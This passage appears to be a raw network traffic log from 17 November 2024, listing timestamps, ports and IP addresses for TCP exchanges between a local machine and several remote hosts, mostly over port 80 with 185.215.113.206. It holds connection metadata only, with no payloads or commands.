Nov 17, 2024 03:42:43.036499977 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.036516905 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.036545992 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.036562920 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.036572933 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.036592007 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.036601067 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.036612034 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.036617994 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.036632061 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.036660910 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.059190989 CET	443	49906	20.42.73.31	192.168.2.5
Nov 17, 2024 03:42:43.059513092 CET	49906	443	192.168.2.5	20.42.73.31
Nov 17, 2024 03:42:43.059530973 CET	443	49906	20.42.73.31	192.168.2.5
Nov 17, 2024 03:42:43.059938908 CET	443	49906	20.42.73.31	192.168.2.5
Nov 17, 2024 03:42:43.060327053 CET	49906	443	192.168.2.5	20.42.73.31
Nov 17, 2024 03:42:43.060405970 CET	443	49906	20.42.73.31	192.168.2.5
Nov 17, 2024 03:42:43.060551882 CET	49906	443	192.168.2.5	20.42.73.31
Nov 17, 2024 03:42:43.060551882 CET	49906	443	192.168.2.5	20.42.73.31
Nov 17, 2024 03:42:43.060587883 CET	443	49906	20.42.73.31	192.168.2.5
Nov 17, 2024 03:42:43.065148115 CET	443	49905	20.42.73.31	192.168.2.5
Nov 17, 2024 03:42:43.065531015 CET	49905	443	192.168.2.5	20.42.73.31
Nov 17, 2024 03:42:43.065546989 CET	443	49905	20.42.73.31	192.168.2.5
Nov 17, 2024 03:42:43.066648960 CET	443	49905	20.42.73.31	192.168.2.5
Nov 17, 2024 03:42:43.066741943 CET	49905	443	192.168.2.5	20.42.73.31
Nov 17, 2024 03:42:43.067595005 CET	49905	443	192.168.2.5	20.42.73.31
Nov 17, 2024 03:42:43.067670107 CET	443	49905	20.42.73.31	192.168.2.5
Nov 17, 2024 03:42:43.068073988 CET	49905	443	192.168.2.5	20.42.73.31
Nov 17, 2024 03:42:43.068073988 CET	49905	443	192.168.2.5	20.42.73.31
Nov 17, 2024 03:42:43.068085909 CET	443	49905	20.42.73.31	192.168.2.5
Nov 17, 2024 03:42:43.068115950 CET	443	49905	20.42.73.31	192.168.2.5
Nov 17, 2024 03:42:43.075777054 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.075793028 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.075815916 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.075831890 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.075855970 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.075894117 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.093015909 CET	443	49888	40.126.32.68	192.168.2.5
Nov 17, 2024 03:42:43.093041897 CET	443	49888	40.126.32.68	192.168.2.5
Nov 17, 2024 03:42:43.093077898 CET	443	49888	40.126.32.68	192.168.2.5
Nov 17, 2024 03:42:43.093111992 CET	49888	443	192.168.2.5	40.126.32.68
Nov 17, 2024 03:42:43.093132973 CET	443	49888	40.126.32.68	192.168.2.5
Nov 17, 2024 03:42:43.093153954 CET	49888	443	192.168.2.5	40.126.32.68
Nov 17, 2024 03:42:43.104700089 CET	49888	443	192.168.2.5	40.126.32.68
Nov 17, 2024 03:42:43.104739904 CET	443	49888	40.126.32.68	192.168.2.5
Nov 17, 2024 03:42:43.104928970 CET	443	49888	40.126.32.68	192.168.2.5
Nov 17, 2024 03:42:43.104964018 CET	443	49888	40.126.32.68	192.168.2.5
Nov 17, 2024 03:42:43.105019093 CET	49888	443	192.168.2.5	40.126.32.68
Nov 17, 2024 03:42:43.105612040 CET	49888	443	192.168.2.5	40.126.32.68
Nov 17, 2024 03:42:43.105640888 CET	443	49888	40.126.32.68	192.168.2.5
Nov 17, 2024 03:42:43.116861105 CET	443	49904	20.125.209.212	192.168.2.5
Nov 17, 2024 03:42:43.116914988 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.116962910 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.116997004 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.117021084 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.117094994 CET	443	49908	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:43.117098093 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.120811939 CET	443	49907	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:43.122224092 CET	49905	443	192.168.2.5	20.42.73.31
Nov 17, 2024 03:42:43.128201008 CET	49908	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:43.128237963 CET	443	49908	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:43.129245043 CET	49908	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:43.129257917 CET	443	49908	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:43.134183884 CET	443	49909	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:43.134762049 CET	49909	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:43.134780884 CET	443	49909	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:43.135299921 CET	49909	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:43.135305882 CET	443	49909	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:43.138505936 CET	49907	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:43.138519049 CET	443	49907	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:43.139086962 CET	49907	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:43.139091969 CET	443	49907	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:43.141453981 CET	443	49904	20.125.209.212	192.168.2.5
Nov 17, 2024 03:42:43.141542912 CET	49904	443	192.168.2.5	20.125.209.212
Nov 17, 2024 03:42:43.142930031 CET	49904	443	192.168.2.5	20.125.209.212
Nov 17, 2024 03:42:43.142951965 CET	443	49904	20.125.209.212	192.168.2.5
Nov 17, 2024 03:42:43.143955946 CET	443	49891	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:43.144001007 CET	443	49891	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:43.144042015 CET	49891	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:43.144068956 CET	443	49891	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:43.144088984 CET	49891	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:43.144114017 CET	49891	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:43.145463943 CET	443	49891	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:43.145502090 CET	443	49891	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:43.145529032 CET	49891	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:43.145540953 CET	443	49891	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:43.145584106 CET	49891	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:43.153568983 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.153595924 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.153625011 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.153634071 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.153640032 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.153656006 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.153671980 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.153675079 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.153680086 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.153693914 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.153717995 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.153729916 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.153737068 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.153762102 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.153786898 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.153811932 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.153831005 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.153851032 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.153853893 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.153872013 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.153873920 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.153896093 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.153913975 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.153959990 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.153980970 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.154000044 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.154014111 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.154023886 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.154045105 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.154048920 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.154072046 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.154086113 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.154097080 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.154098034 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.154122114 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.154126883 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.154144049 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.154146910 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.154164076 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.154172897 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.154185057 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.154189110 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.154205084 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.154208899 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.154217958 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.154236078 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.154242039 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.154249907 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.154263020 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.154270887 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.154279947 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.154288054 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.154300928 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.154320002 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.154335022 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.154355049 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.154359102 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.154359102 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.154375076 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.154381990 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.154388905 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.154395103 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.154402018 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.154422045 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.154424906 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.154443026 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.154459953 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.154470921 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.154484034 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.154494047 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.154500961 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.154526949 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.154529095 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.154547930 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.154571056 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.154592037 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.154594898 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.154594898 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.154609919 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.154622078 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.154638052 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.154640913 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.154652119 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.154670954 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.154676914 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.154694080 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.154699087 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.154711962 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.154731035 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.154735088 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.154753923 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.154759884 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.154779911 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.154779911 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.154799938 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.154808044 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.154827118 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.154833078 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.154846907 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.154864073 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.154870987 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.154885054 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.154886961 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.154905081 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.154913902 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.154938936 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.154942036 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.154970884 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.154989004 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.154994965 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.155009985 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.155029058 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.155035019 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.155038118 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.155041933 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.155056000 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.155077934 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.155080080 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.155097008 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.155106068 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.155118942 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.155124903 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.155136108 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.155143023 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.155162096 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.155173063 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.155175924 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.155191898 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.155205965 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.155211926 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.155220985 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.155236959 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.155244112 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.155256033 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.155263901 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.155272961 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.155296087 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.155297995 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.155333042 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.155333996 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.155353069 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.155354023 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.155364037 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.155373096 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.155390978 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.155390978 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.155407906 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.155411959 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.155425072 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.155441999 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.155447006 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.155461073 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.155477047 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.155498981 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.155503035 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.155524969 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.155524969 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.155544996 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.155551910 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.155560017 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.155576944 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.155582905 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.155602932 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.155608892 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.155620098 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.155628920 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.155639887 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.155651093 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.155663967 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.155677080 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.155682087 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.155697107 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.155710936 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.155730009 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.155736923 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.155744076 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.155750036 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.155774117 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.155790091 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.155793905 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.155812979 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.155813932 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.155832052 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.155833960 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.155853033 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.155853987 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.155872107 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.155874014 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.155888081 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.155903101 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.155903101 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.155914068 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.155936003 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.156011105 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.194834948 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.194860935 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.194885015 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.194905043 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.194909096 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.194948912 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.216231108 CET	49913	443	192.168.2.5	20.42.73.31
Nov 17, 2024 03:42:43.216273069 CET	443	49913	20.42.73.31	192.168.2.5
Nov 17, 2024 03:42:43.216330051 CET	49913	443	192.168.2.5	20.42.73.31
Nov 17, 2024 03:42:43.216758013 CET	49913	443	192.168.2.5	20.42.73.31
Nov 17, 2024 03:42:43.216767073 CET	443	49913	20.42.73.31	192.168.2.5
Nov 17, 2024 03:42:43.236067057 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.236108065 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.236128092 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.236160040 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.236185074 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.253748894 CET	443	49908	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:43.253812075 CET	443	49908	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:43.254010916 CET	49908	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:43.254405975 CET	49908	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:43.254426956 CET	443	49908	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:43.257885933 CET	49914	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:43.257919073 CET	443	49914	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:43.257968903 CET	49914	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:43.258398056 CET	49914	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:43.258409977 CET	443	49914	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:43.260364056 CET	443	49906	20.42.73.31	192.168.2.5
Nov 17, 2024 03:42:43.260941029 CET	443	49891	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:43.260973930 CET	49906	443	192.168.2.5	20.42.73.31
Nov 17, 2024 03:42:43.261003017 CET	49891	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:43.261019945 CET	443	49906	20.42.73.31	192.168.2.5
Nov 17, 2024 03:42:43.261066914 CET	49906	443	192.168.2.5	20.42.73.31
Nov 17, 2024 03:42:43.262418985 CET	443	49891	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:43.262445927 CET	443	49891	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:43.262485981 CET	49891	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:43.262501955 CET	443	49891	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:43.262525082 CET	49891	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:43.262542009 CET	49891	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:43.269671917 CET	49915	443	192.168.2.5	40.126.32.68
Nov 17, 2024 03:42:43.269705057 CET	443	49915	40.126.32.68	192.168.2.5
Nov 17, 2024 03:42:43.269938946 CET	49915	443	192.168.2.5	40.126.32.68
Nov 17, 2024 03:42:43.270524025 CET	49915	443	192.168.2.5	40.126.32.68
Nov 17, 2024 03:42:43.270538092 CET	443	49915	40.126.32.68	192.168.2.5
Nov 17, 2024 03:42:43.276501894 CET	443	49907	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:43.276576996 CET	443	49907	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:43.276693106 CET	443	49909	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:43.276695967 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.276760101 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.276762962 CET	49907	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:43.276779890 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.276784897 CET	443	49909	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:43.276789904 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.276827097 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.276839972 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:43.276842117 CET	49909	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:43.276844978 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.276864052 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.276886940 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:43.276906013 CET	80	49797	185.215.113.206	192.168.2.5
